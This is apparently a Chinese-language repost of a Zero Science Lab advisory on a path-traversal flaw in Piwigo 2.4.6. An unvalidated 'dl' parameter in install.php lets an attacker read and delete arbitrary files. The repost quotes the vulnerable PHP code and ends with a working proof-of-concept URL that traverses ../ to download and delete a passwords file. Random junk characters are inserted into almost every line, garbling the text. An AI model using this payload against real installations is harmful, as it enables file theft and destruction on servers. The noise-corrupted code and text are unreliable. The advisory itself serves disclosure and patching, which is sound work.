Piwigo是用PHP编写的相册脚本。
) }$ w/ O1 N2 ^" I9 M0 s1 N& R |8 u
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
9 S. X. @/ Q) ]; T- r1 s====================================================================
/ n9 U% R" p* w. V$ ?- G/install.php: `0 H7 W1 R3 |2 N, u: U$ f
-------------* c- k& p6 F. Y" P" J: R* c
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))' @! i: Y* \8 S
114: {
$ G. p9 ?3 i( n' S115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];, S" C* a! p# z7 C8 L
116: header('Cache-Control: no-cache, must-revalidate');
( j& M- X7 m( [8 M- x& \& i117: header('Pragma: no-cache');; _1 O7 M. @/ r/ I0 l6 L
118: header('Content-Disposition: attachment; filename="database.inc.php"');
2 \) x& U5 B `# ~: D# H" H* f119: header('Content-Transfer-Encoding: binary');7 m/ u$ [) z. u0 y& F& E# Z" P9 k
120: header('Content-Length: '.filesize($filename));
, i4 C# L# x' k121: echo file_get_contents($filename);
7 `5 p8 Y. R1 [' i% a122: unlink($filename);4 n. d. T0 i" y( M
123: exit();; a5 y% l. I" Z, n0 ^& M" W
124: }
7 x% J0 n" Z) l5 l" m6 M====================================================================
5 D. x% _: G4 l
* i( F' l& a9 G% U D/ BTested on: Microsoft Windows 7 Ultimate SP1 (EN). B& W) ~8 x' E- t* p
Apache 2.4.2 (Win32); G, @+ @( q; e* o; ?3 g
PHP 5.4.4
3 T1 F! V0 C0 p7 A; \ MySQL 5.5.25a
# a; q* E y- W W- P
9 E. F6 @9 Q g4 A. o: PVulnerability discovered by Gjoko 'LiquidWorm' Krstic
: s! I: \, D' p$ H# \7 V @zeroscience8 F# c {& l6 s* G7 l7 N7 r# x5 r
; `! b/ x" ]: b# m- n7 q
Advisory ID: ZSL-2013-5127
! Q8 C0 y! I% C( U/ X3 dAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php) u+ ?+ L/ u/ q0 B% u; [# d
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843& K0 k" [5 o: [5 d! @3 }; x6 S# G
! m8 s$ F0 M! W. A. v5 l/ v
15.02.2013# ^ W$ H- ]$ {7 J8 K7 C' ~( Y3 ?
' F4 p$ S: P$ _% p6 f v& i* {9 U
--
V+ E, s, E1 C3 K$ S' Yhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt# Q/ V( j& x! U z
& L2 ?: k; h, h* ]0 W. l! O |